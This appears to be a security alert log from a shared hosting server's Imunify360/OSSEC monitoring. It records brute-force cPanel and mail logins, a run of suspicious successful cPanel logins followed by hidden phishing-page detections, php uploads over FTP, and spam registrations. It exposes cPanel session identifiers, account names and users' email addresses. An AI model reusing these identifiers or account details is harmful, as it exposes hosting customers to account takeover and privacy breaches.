47.128.96.208 - - [07/Jun/2026:08:07:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985319&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-long-plan-international-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780819665 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-long-plan-international-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.208


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [07/Jun/2026:08:08:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7063141&pdata=https%253A%252F%252Frelanceinfo.tg%252F%253Fp%253D1689&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780819695 HTTP/2.0" 302 0 relanceinfo.tg "https://relanceinfo.tg/?p=1689" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [07/Jun/2026:08:09:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038362&pdata=https%253A%252F%252Frelanceinfo.tg%252F%253Fp%253D1689&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780819746 HTTP/2.0" 302 0 relanceinfo.tg "https://relanceinfo.tg/?p=1689" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.172.198
country_id: 2363686
description:
[2026-06-07 08:09:04 +0000] info [webmaild] 102.64.172.198 - some.f@inger.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 116.171.82.245
country_id: 1814991
description:
2026-06-07 08:09:54 H=([116.171.82.245]) [116.171.82.245]:19449 F=<John@4452.com> rejected RCPT <ferdinand.ali@agou1.mairie.tg>: Sender verify failed


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.89.232
country_id: 6252001
domain: togofeed.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/qledpnjw/public_html/.058668719134553.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.165.109.202
country_id: 953987
description:
2026-06-07 08:14:36 dovecot_plain authenticator failed for H=(localhost) [165.165.109.202]:25090: 535 Incorrect authentication data (set_id=b.marc@wellcity.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.242.125.161
country_id: 6252001
domain: sia-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:POST http:/sia-togo.tg/wp-login.php HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.84.23
country_id: 6252001
description:
[2026-06-07 08:15:37 +0000] info [cpaneld] 82.40.84.23 - BEWELL "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user BEWELL (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.24.24.231
country_id: 2017370
description:
[2026-06-07 08:16:17 +0000] info [whostmgrd] 95.24.24.231 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:08-17.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Take Your Web Cash Reward bonotdamvam.blogspot.mx M5||Email:tsradford87@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 93.185.162.136
country_id: 1643084
description:
[2026-06-07 08:18:10 +0000] info [cpaneld] 93.185.162.136 NEW pnlpzmfv:iWudbQd_5BC0lssy address=93.185.162.136,app=cpaneld,creator=pnlpzmfv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.49
country_id: 2635167
description:
[2026-06-07 08:18:38 +0000] info [cpaneld] 5.230.153.49 NEW libertepansel:IpNGDCY103ycwo7w address=5.230.153.49,app=cpaneld,creator=libertepansel,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.26
country_id: 2635167
description:
[2026-06-07 08:18:48 +0000] info [cpaneld] 5.230.153.26 NEW ygeaivhj:n9KLYyiASvPgJ7Hm address=5.230.153.26,app=cpaneld,creator=ygeaivhj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.244
country_id: 6252001
description:
[2026-06-07 08:18:27 +0000] info [cpaneld] 64.44.59.244 NEW wgqhqbem:AxE3eobzgSTqbDje address=64.44.59.244,app=cpaneld,creator=wgqhqbem,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.50
country_id: 3017382
description:
[2026-06-07 08:18:26 +0000] info [cpaneld] 5.231.255.50 NEW mipbtgnb:JXgmKm2iAlK8320X address=5.231.255.50,app=cpaneld,creator=mipbtgnb,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.89
country_id: 2635167
description:
[2026-06-07 08:18:28 +0000] info [cpaneld] 5.230.133.89 NEW efberwhk:VmOxP8udowVE_Ao9 address=5.230.133.89,app=cpaneld,creator=efberwhk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.233
country_id: 3017382
description:
[2026-06-07 08:18:23 +0000] info [cpaneld] 5.231.255.233 NEW dvhzmira:iZ13MJSf419F39GV address=5.231.255.233,app=cpaneld,creator=dvhzmira,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.52
country_id: 2635167
description:
[2026-06-07 08:18:35 +0000] info [cpaneld] 5.230.153.52 NEW lhqeyybr:XV87jR5QzN_rEG5T address=5.230.153.52,app=cpaneld,creator=lhqeyybr,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.133
country_id: 2635167
domain: afrique-distribution.net
description:
IM360 WAF: Possible phishing page detected||SC:/home/sadis/public_html/.162585628897164.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.179
country_id: 2635167
description:
[2026-06-07 08:18:51 +0000] info [cpaneld] 5.230.133.179 NEW sadis:bE20FspFkMaCXvBX address=5.230.133.179,app=cpaneld,creator=sadis,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.20
country_id: 2635167
description:
[2026-06-07 08:18:49 +0000] info [cpaneld] 5.230.133.20 NEW nadngfzn:XELv35a7GNAez0xI address=5.230.133.20,app=cpaneld,creator=nadngfzn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.160.183.151
country_id: 6252001
description:
[2026-06-07 08:22:30 +0000] info [whostmgrd] 67.160.183.151 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.175.181
country_id: 3469034
description:
Jun  7 08:24:39 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.175.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.175.181
country_id: 3469034
description:
Jun  7 08:24:53 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.175.181 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.26
country_id: 6252001
description:
205.169.39.26 - - [07/Jun/2026:08:27:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6580074&pdata=http%253A%252F%252Fceni.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780820819 HTTP/1.1" 302 0 ceni.tg "http://ceni.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.26


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 139.59.115.76
country_id: 1880251
description:
[2026-06-07 08:28:54 +0000] info [cpaneld] 139.59.115.76 NEW egjvuiox:c2Zxd7xtGhw9zggu address=139.59.115.76,app=cpaneld,creator=egjvuiox,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 182.48.68.21
country_id: 1210997
description:
2026-06-07 08:30:19 H=([182.48.67.89]) [182.48.68.21]:60190 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 103.164.183.202
country_id: 1831722
description:
[2026-06-07 08:34:03 +0000] info [cpaneld] 103.164.183.202 NEW aifkjzqm:4bbkk6vR289YIQ2k address=103.164.183.202,app=cpaneld,creator=aifkjzqm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.226.33.112
country_id: 3703430
description:
[2026-06-07 08:40:10 +0000] info [whostmgrd] 201.226.33.112 - ucaouut "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:08-41.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.20
country_id: 6252001
description:
205.169.39.20 - - [07/Jun/2026:08:41:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051875&pdata=https%253A%252F%252Fin.crepsad.tg%252Findex.php%252Fsale%252F106507%252FId%25255ffafdeaba%252Fpage1%252Fcqz30r31tv6awekK.bracken&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780821692 HTTP/2.0" 302 0 in.crepsad.tg "https://in.crepsad.tg/index.php/sale/106507/Id%5ffafdeaba/page1/cqz30r31tv6awekK.bracken" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.20


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Delight in Your Main Funds sepoladi.blogspot.gr Q5||Email:Daitralb@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.26
country_id: 6252001
description:
205.169.39.26 - - [07/Jun/2026:08:41:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985833&pdata=https%253A%252F%252Fin.crepsad.tg%252Findex.php%252Fsale%252F106507%252FId%25255ffafdeaba&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780821692 HTTP/2.0" 302 0 in.crepsad.tg "https://in.crepsad.tg/index.php/sale/106507/Id%5ffafdeaba" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.26


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 45.198.2.29
country_id: 1643084
description:
Jun  7 08:42:45 ns5 pure-ftpd[3676362]: (edjatiapougloe@45.198.2.29) [NOTICE] //home/edjatiapougloe/public_html/wp-content/themes/twentytwentyfive/patterns/apa.php uploaded  (6041741 bytes, 675.29KB/sec)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.83.204.240
country_id: 6252001
description:
[2026-06-07 08:42:00 +0000] info [whostmgrd] 23.83.204.240 - antasadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.158
country_id: 130758
description:
Jun  7 08:42:09 ns5 pure-ftpd[3676113]: (?@172.94.9.158) [WARNING] Authentication failed for user [speau]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [07/Jun/2026:08:42:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7052183&pdata=https%253A%252F%252Fin.crepsad.tg%252Findex.php%252Fsale%252F106507%252FId%25255ffafdeaba%252Fpage1%252Fcqz30r31tv6awekK.bracken&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780821768 HTTP/2.0" 302 0 in.crepsad.tg "https://in.crepsad.tg/index.php/sale/106507/Id%5ffafdeaba/page1/cqz30r31tv6awekK.bracken" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [07/Jun/2026:08:42:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6450845&pdata=https%253A%252F%252Fin.crepsad.tg%252Findex.php%252Fsale%252F106507%252FId%25255ffafdeaba%252Fpage1%252Fcqz30r31tv6awekK.bracken&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780821767 HTTP/2.0" 404 561 in.crepsad.tg "https://in.crepsad.tg/index.php/sale/106507/Id%5ffafdeaba/page1/cqz30r31tv6awekK.bracken" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.127.186.66
country_id: 130758
description:
2026-06-07 08:43:04 H=([5.127.186.66]) [5.127.186.66]:38245 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [07/Jun/2026:08:43:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923527&pdata=https%253A%252F%252Fin.crepsad.tg%252Findex.php%252Fsale%252F106507%252FId%25255ffafdeaba&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780821793 HTTP/2.0" 302 0 in.crepsad.tg "https://in.crepsad.tg/index.php/sale/106507/Id%5ffafdeaba" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [07/Jun/2026:08:43:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066838&pdata=https%253A%252F%252Fin.crepsad.tg%252Findex.php%252Fsale%252F106507%252FId%25255ffafdeaba%252Fpage1%252Fcqz30r31tv6awekK.bracken&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780821805 HTTP/2.0" 302 0 in.crepsad.tg "https://in.crepsad.tg/index.php/sale/106507/Id%5ffafdeaba/page1/cqz30r31tv6awekK.bracken" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.8.131.242
country_id: 1643084
description:
[2026-06-07 08:43:22 +0000] info [whostmgrd] 182.8.131.242 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 45.198.2.29
country_id: 1643084
description:
Jun  7 08:44:20 ns5 pure-ftpd[3677685]: (edjatiapougloe@45.198.2.29) [NOTICE] //home/edjatiapougloe/public_html/wp-content/themes/twentytwentyfive/patterns/kuy.php uploaded  (24790 bytes, 72.37KB/sec)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.29.172.18
country_id: 192950
domain: tdn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tg/wp-content/uploads/2024/01/Jean-Louis-Gasset-vire.jpg HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.49.166
country_id: 1269750
description:
Jun  7 08:44:55 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.49.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.49.166
country_id: 1269750
description:
2026-06-07 08:44:57 dovecot_login authenticator failed for H=([49.125.201.70]) [182.95.49.166]:46542: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.207
country_id: 1880251
description:
47.128.96.207 - - [07/Jun/2026:08:47:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803674&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ftde%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780822029 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/tde/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.207


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 45.198.2.29
country_id: 1643084
description:
Jun  7 08:47:37 ns5 pure-ftpd[3679411]: (edjatiapougloe@45.198.2.29) [NOTICE] //home/edjatiapougloe/public_html/faqs/index.php uploaded  (0 bytes, 0.00KB/sec)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 45.198.2.29
country_id: 1643084
description:
Jun  7 08:47:57 ns5 pure-ftpd[3680174]: (edjatiapougloe@45.198.2.29) [NOTICE] //home/edjatiapougloe/public_html/faqs/index.php uploaded  (6 bytes, 9.39KB/sec)


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 07 08:52:12 ns5.netmaster.tg cpanel_fileman_hook[3684108]: 0 BAILOUT malware detected when save 'widget.php' in /home/aifkjzqm/public_html/wp-content/themes/newspulse-magazine for user aifkjzqm


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.107.226.253
country_id: 3865483
description:
Jun  7 08:51:59 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.107.226.253 has been locked due to Imunify RBL


plugin: modsec
rule: 77277976
name: IM360 WAF: XMLRPC getUsersBlogs RBL infectors
abuser: 91.245.236.31
country_id: 6252001
domain: dany2.mairie.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL infectors||Username:Ae97@dE97.dany2.mairie.tg||Method:wp.getUsersBlogs


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.62.139.65
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/reboisement-au-togo-cinq-ans-defforts-pour-un-bilan-prometteur/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.186.15.88
country_id: 798544
description:
Jun  7 08:54:57 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.186.15.88 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.166.101.72
country_id: 1282988
description:
[2026-06-07 08:55:22 +0000] info [whostmgrd] 103.166.101.72 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.117.55.118
country_id: 2017370
description:
[2026-06-07 08:56:16 +0000] info [whostmgrd] 87.117.55.118 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.74
country_id: 2635167
description:
[2026-06-07 08:57:28 +0000] info [cpaneld] 5.230.133.74 NEW nxpivbcy:oAf1Q9Pq7_W2kqRW address=5.230.133.74,app=cpaneld,creator=nxpivbcy,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.146
country_id: 2635167
domain: soroubat.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/jdzxeovw/public_html/.723581733826790.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.56
country_id: 2635167
domain: clients.cloud-et-racks.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nxpivbcy/public_html/.843962474299681.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.84
country_id: 1880251
description:
[2026-06-07 08:58:36 +0000] info [whostmgrd] 103.253.27.84 - cp909049p23 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.84
country_id: 1880251
description:
[2026-06-07 09:00:59 +0000] info [whostmgrd] 103.253.27.84 - abttogo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.84
country_id: 1880251
description:
[2026-06-07 09:02:54 +0000] info [cpaneld] 103.253.27.84 - rolle "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rolle (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.167
country_id: 2635167
description:
[2026-06-07 09:05:28 +0000] info [cpaneld] 5.230.153.167 NEW qfaclpeg:LDoRcctfHAMdG1S6 address=5.230.153.167,app=cpaneld,creator=qfaclpeg,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.59.19
country_id: 6252001
domain: soroubat.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/jdzxeovw/public_html/.332813548092473.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Take Out Your Vast Financial Amount bonotdamvam.blogspot.de Un||Email:briscoe22321@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.146
country_id: 2635167
description:
[2026-06-07 09:05:02 +0000] info [cpaneld] 5.230.133.146 NEW yydrdvav:Q1PtyBocK5bxN_OP address=5.230.133.146,app=cpaneld,creator=yydrdvav,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.143
country_id: 3017382
description:
[2026-06-07 09:05:46 +0000] info [cpaneld] 5.231.64.143 NEW tqbcalqt:mjJ9QqKYNkFgBAk7 address=5.231.64.143,app=cpaneld,creator=tqbcalqt,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.64.90
country_id: 3017382
domain: sncom.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/efberwhk/public_html/.701691615922268.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:09-04.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.133
country_id: 2635167
domain: social-infos.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/pkyvzjjc/public_html/.739008406779531.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.14
country_id: 2635167
description:
[2026-06-07 09:05:36 +0000] info [cpaneld] 5.230.133.14 NEW newistm:9qCaCxv7AENlB_Tc address=5.230.133.14,app=cpaneld,creator=newistm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.180
country_id: 2635167
description:
[2026-06-07 09:05:14 +0000] info [cpaneld] 5.230.153.180 NEW ecukpqcm:JQRU7lIa7RaDPCMS address=5.230.153.180,app=cpaneld,creator=ecukpqcm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.232
country_id: 6252001
description:
[2026-06-07 09:05:15 +0000] info [cpaneld] 173.211.89.232 NEW qledpnjw:eV0rQbSRzt1Q8NMm address=173.211.89.232,app=cpaneld,creator=qledpnjw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.42
country_id: 2635167
description:
[2026-06-07 09:06:29 +0000] info [cpaneld] 5.230.153.42 NEW phoicdxb:0G1ZVaw8A9_Zd74l address=5.230.153.42,app=cpaneld,creator=phoicdxb,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.88.116
country_id: 6252001
description:
[2026-06-07 09:05:49 +0000] info [cpaneld] 173.211.88.116 NEW ebbmnmtd:eM75OYfWZk4Cls_j address=173.211.88.116,app=cpaneld,creator=ebbmnmtd,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.211
country_id: 2635167
domain: horizonmedical.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/rdlizssu/public_html/.944006390031850.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.253
country_id: 2635167
description:
[2026-06-07 09:05:57 +0000] info [cpaneld] 5.230.133.253 NEW lhqeyybr:r4DzA06DOJuvGg_l address=5.230.133.253,app=cpaneld,creator=lhqeyybr,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.154
country_id: 2635167
description:
[2026-06-07 09:06:31 +0000] info [cpaneld] 5.230.153.154 NEW formationfreenet:thK1WEz8ZUsM9giv address=5.230.153.154,app=cpaneld,creator=formationfreenet,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.78
country_id: 2635167
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.101917980056220.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 164.40.89.248
country_id: 1522867
description:
2026-06-07 09:06:26 H=([164.40.36.219]) [164.40.89.248]:23569 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.211
country_id: 2635167
domain: cinema.free.netmaster.tg
description:
